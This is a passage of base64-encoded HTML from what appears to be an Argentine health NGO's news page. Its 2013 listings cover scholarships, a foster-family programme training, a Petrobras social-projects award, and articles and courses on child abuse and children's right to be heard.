hbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD4mbmJzcDs8L3A+DQo8cD5TZXImYWFjdXRlO24gb3RvcmdhZGFzIDUwIG1lZGlhcyBiZWNhcywgcXVlZGFuIHBvY2FzISEhIGNvbmRpY2lvbjo8L3A+DQo8cD5QZXJ0ZW5lY2VyIGFsIGFtYml0byBwdWJsaWNvIG8gYSBPTkcsIHNlIGNvbnNpZGVyYSB0YW1iaWVuIGxhIGRpc3RhbmNpYSBhbCBsdWdhciBkZWwgZXZlbnRvISEhIGVzIG11eSBzZW5jaWxsbywgc29sbyBkZWJlcyBlbnZpYXIgdW4gZW1haWwuLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwOSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA5Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjI0LzA3LzIwMTM8L3NwYW4+PGJyPk5FQ0VTSVRBTU9TIERFIFNVIFNPTElEQVJJREFEIEhBQ0lBIExPUyBOSdFPUyBZIE5J0UFTISEhPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD48c3Ryb25nPjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPjxiciAvPjwvc3Bhbj48L3N0cm9uZz48L3A+DQo8cD48c3Ryb25nPjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPjxiciAvPjwvc3Bhbj48L3N0cm9uZz48L3A+DQo8cD48c3Ryb25nPjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPlBST0dSQU1BIEZBTUlMSUFTIFNPTElEQVJJQVM8L3NwYW4+PC9zdHJvbmc+PC9wPg0KPHA+PHN0cm9uZz5DQU1CSU8gREUgU0VERTwvc3Ryb25nPjwvcD4NCjxwPkxhIGNhcGFjaXRhY2kmb2FjdXRlO24gcGFyYSBsYSBwdWVzdGEgZW4gbWFyY2hhIGRlbCA8c3Ryb25nPlByb2dyYW1hIEZhbWlsaWFzIFNvbGlkYXJpYXM8L3N0cm9uZz4gc2UgcmVhbGl6YXImYWFjdXRlOyBlbiBsYSBsb2NhbGlkYWQgZGUgPHN0cm9uZz5OYXZhcnJvPC9zdHJvbmc+IHBhcmEgdG9kbyBlbCBjb3JyZWRvciBkZSBsYSBSdXRhIDQwLjwvcD4NCjxwPkluaWNpbyA8c3Ryb25nPk1pJmVhY3V0ZTtyY29sZXMgMjggZGUgYWdvc3RvIGEgbGFzIDE0IGhvcmFzLiZuYnNwOzwvc3Ryb25nPjwvcD4NCjxwPlNlZGU6IDxzdHJvbmc+U2FsJm9hY3V0ZTtuIE11bmljaXBhbCBlbiBsYSBjYWxsZSAxMDcgZXNxdWluYSAyMiAtIE5hdmFycm88L3N0cm9uZz48L3A+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTklIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA4Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzE5LmpwZyIgd2lkdGg9Ijc1IiBoZWlnaHQ9IjQxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMS5qcGciIHdpZHRoPSI1MyIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48YSBocmVmPSIjIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDgiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIiBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgIDwvdHI+CgkJICAgICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNTYiIHJvd3NwYW49IjIiIHZhbGlnbj0idG9wIj4KCQkJCQoJCQkJPHRhYmxlIHdpZHRoPSIzMiUiIGJvcmRlcj0iMSIgY2VsbHNwYWNpbmc9IjMiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PGltZyBzcmM9InNyYy9pbWdfdXAvMTIwNzIwMTMuMC5qcGciIHdpZHRoPSIxNDYiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+CgkJCQkJCQkJPC90ZD4gICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBjbGFzcz0idGl0dWxvaG9tZTEiPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4xMi8wNy8yMDEzPC9zcGFuPjxicj5TQUxVRCBBQ1RJVkEgaGEgc2lkbyBlbGVnaWRhIHBvciBzZWd1bmRhIHZleiBjb25zZWN1dGl2YSBjb21vIHVubyBkZSBsb3MgZ2FuYWRvcmVzIGRlbCBDdWFydG8gQ29uY3Vyc28gZGUgUHJveWVjdG9zIFNvY2lhbGVzIGRlIFBldHJvYnJhczwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wMV8xOS5qcGciIHdpZHRoPSI3IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODUiIGNvbHNwYW49IjQiIHZhbGlnbj0idG9wIiBjbGFzcz0idGV4dG9udWV2byI+PHA+RW4gZWwgbWFyY28gZGVsIEN1YXJ0byBDb25jdXJzbyBkZSBQcm95ZWN0b3MgU29jaWFsZXMgZGUgUGV0cm9icmFzLCANCm51ZXN0cmEgSW5zdGl0dWNpJm9hY3V0ZTtuIFNBTFVEIEFDVElWQSBoYSBzaWRvIGVsZWdpZGEgcG9yIHNlZ3VuZGEgdmV6IA0KY29uc2VjdXRpdmEgY29tbyB1bm8gZGUgbG9zIGdhbmFkb3JlcyBkZSBkaWNobyBjb25jdXJzby48YnIgLz5FbiBlc3RhIA0KZWRpY2kmb2FjdXRlO24gZWwgcHJveWVjdG8gcXVlIGhhIHNpZG8gZWxlZ2lkbyBlcyBlbCAmbGRxdW87UHJvZ3JhbWEgZGUgRmFtaWxpYXMgDQpTb2xpZGFyaWFzJnJkcXVvOyBzaWVuZG8gc3UgJmFhY3V0ZTtyZWEgZGUgaW1wbGVtZW50YWNpJm9hY3V0ZTtuIGxvcyBNdW5pY2lwaW9zIGRlIE5hdmFycm8sIA0KR3JhbC4gTGFzIEhlcmFzLCBNYXJjb3MgUGF6LCB5IE1lcmxvPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjAyLzA3LzIwMTM8L3NwYW4+PGJyPk/tciBvIGVzY3VjaGFyPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5Qb3IgQ2FybG9zIFJvemFuc2tpICo8L3A+DQo8cD5BIGxvIGxhcmdvIGRlIGxvcyBzaWdsb3MsIGxhcyBuaSZudGlsZGU7YXMsIG5pJm50aWxkZTtvcyB5IGFkb2xlc2NlbnRlcyBoYW4gc2lkbyBtYWx0cmF0YWRvcyB5IGFidXNhZG9zIHNpbiBxdWUgYSBsYSBjb211bmlkYWQgbGUgaW50ZXJlc2FyYSBuaSBzaXF1aWVyYSBlc2N1Y2hhcmxvcyBjdWFuZG8gaGFjJmlhY3V0ZTthbiBzYWJlciBkZSBhbGd1bmEgZm9ybWEgbG9zIHN1ZnJpbWllbnRvcyBxdWUgcGFkZWMmaWFjdXRlO2FuLiBFbiAxODc0LCBlbiBFc3RhZG9zIFVuaWRvcywgZnVlIGxhIHByaW1lcmEgdmV6IHF1ZSBlbCBFc3RhZG8gaW50ZXJ2aW5vIGVuIHVuIGNhc28gZGUgbWFsdHJhdG8geSBhYnVzby4uLjwvcD48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOSUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDYiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMTkuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYwJSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjxhIGhyZWY9IiMiPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNiI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMi5qcGciIHdpZHRoPSI3OCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjYuanBnIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIiAvPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgPC90cj4KCQkgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBjbGFzcz0idGl0dWxvaG9tZTEiPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4wMi8wNy8yMDEzPC9zcGFuPjxicj5FbCBkZXJlY2hvIGRlIGxvcyBuafFvcyBhIHNlciBlc2N1Y2hhZG9zPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5VbiBob21icmUgYWN1c2FkbyBkZSBoYWJlciBhYnVzYWRvIGRlIHN1cyBoaWpvcyBoYWImaWFjdXRlO2Egc2lkbyBzb2JyZXNlJmlhY3V0ZTtkbyBkb3MgdmVjZXMgcG9yIGxhIEp1c3RpY2lhLiBQZXJvIGFob3JhLCBsYSBDJmFhY3V0ZTttYXJhIGRlIENhc2FjaSZvYWN1dGU7biByZXZvYyZvYWN1dGU7IGVzYSBkZWNpc2kmb2FjdXRlO24gcG9ycXVlIGVuIGxhIGludmVzdGlnYWNpJm9hY3V0ZTtuIGVsIGp1ZXogbnVuY2EgaGFiJmlhY3V0ZTthIGVzY3VjaGFkbyBhIGxvcyBjaGljb3MuIFkgb3JkZW4mb2FjdXRlOyBxdWUgdGVuZ2EgZW4gY3VlbnRhIGxvIHF1ZSBkaWNlbi48L3A+DQo8cD5Qb3IgTWFyaWFuYSBDYXJiYWphbDwvcD48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOSUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDUiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMTkuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYwJSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjxhIGhyZWY9IiMiPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMi5qcGciIHdpZHRoPSI3OCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjYuanBnIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIiAvPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgPC90cj4KCQkgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE1NiIgcm93c3Bhbj0iMiIgdmFsaWduPSJ0b3AiPgoJCQkJCgkJCQk8dGFibGUgd2lkdGg9IjMyJSIgYm9yZGVyPSIxIiBjZWxsc3BhY2luZz0iMyIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48aW1nIHNyYz0ic3JjL2ltZ191cC8wNjA2MjAxMy4xLmpwZyIgd2lkdGg9IjE0NiIgLz48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT4KCQkJCQkJCQk8L3RkPiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjA2LzA2LzIwMTM8L3NwYW4+PGJyPkFidXNvIHNleHVhbCBpbmZhbnRpbC4gRGVzYWZpb3MgZGUgbGEgY2xpbmljYSBhY3R1YWw8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iNyIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9Ijg1IiBjb2xzcGFuPSI0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPkFiaWVydGEgbGEgaW5zY3JpcGNpb248L3A+DQo8cD5Eb2NlbnRlczogTGljLiBNYXJpYSBCZWF0cml6IE0mdXVtbDtsbGVyLiBMaWMuIFBhb2xhIE11Jm50aWxkZTtveiBEdWFydGU8L3A+DQo8cD5JbmljaW86IE1pZXJjb2xlcyAxOSBkZSBKdW5pbzwvcD4NCjxwPkZyZWN1ZW5jaWE6IFNlbWFuYWw8L3A+DQo8cD5Nb2RhbGlkYWQ6IEludGVuc2l2YTwvcD4NCjxwPkNvbnRlbmlkb3M6ICZuYnNwOyBFc3RhIGRlc3RpbmFkbyBhIHRvZG9zIGxvcyBwcm9mZXNpb25hbGVzIGNvbXByb21ldGlkb3MgY29uIGxhIHRlbWF0aWNhIGRlbCBhYnVzbyBpbmZhbnRpbCBxdWUgcXVpZXJhbiBhY3R1YWxpemFyc2UgZSBpbnRlcmNhbWJpYXIgZXhwZXJpZW5jaWFzIGRlIHRyYWJham8uLi48L3A+DQo8cD4mbmJzcDs8L3A+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTklIj48YSBocmVmPSJpbmR